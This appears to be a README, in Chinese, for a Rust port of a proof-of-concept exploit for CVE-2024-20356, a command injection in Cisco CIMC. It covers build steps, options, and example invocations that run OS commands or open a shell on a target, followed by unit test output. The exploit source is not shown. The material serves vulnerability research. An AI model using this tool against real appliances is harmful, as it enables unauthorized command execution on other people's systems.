这是CVE-2024-20356的概念验证代码,该漏洞是Cisco CIMC中的一个命令注入漏洞。
由Aaron编写,由SherllyNeo进行Rust化。
完整技术细节见 https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u, --username <USERNAME> Username [default: admin]
-p, --password <PASSWORD> Password [default: cisco]
-a, --action <ACTION> Action to perform [default: test] [possible values: test, cmd, shell, dance]
-c, --cmd <CMD> OS command to run [default: None]
-v, --verbose Displays more information about cimc
-h, --help Print help
-V, --version Print version
示例命令:
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
使用 --help 参数获取完整使用说明。
此概念验证代码仅用于演示目的,不得用于非法活动。LRQA Nettitude不对因使用或滥用此代码造成的任何损害负责。 请勿作恶。
我在没有服务器访问权限的情况下,基于原始代码库编写了此代码。
因此,我编写了大量的单元测试,以确保加密函数与原始代码中的加密函数相匹配。 确保登录方法使用模拟服务器正常工作。 确保IP地址的参数解析正常工作。
要运行这些测试,请使用 cargo test。
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
我在此说明,因为我避免使用 mod.rs,并展示 main 如何作为 lib 的薄封装。 这是为了允许将来进行集成测试。
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs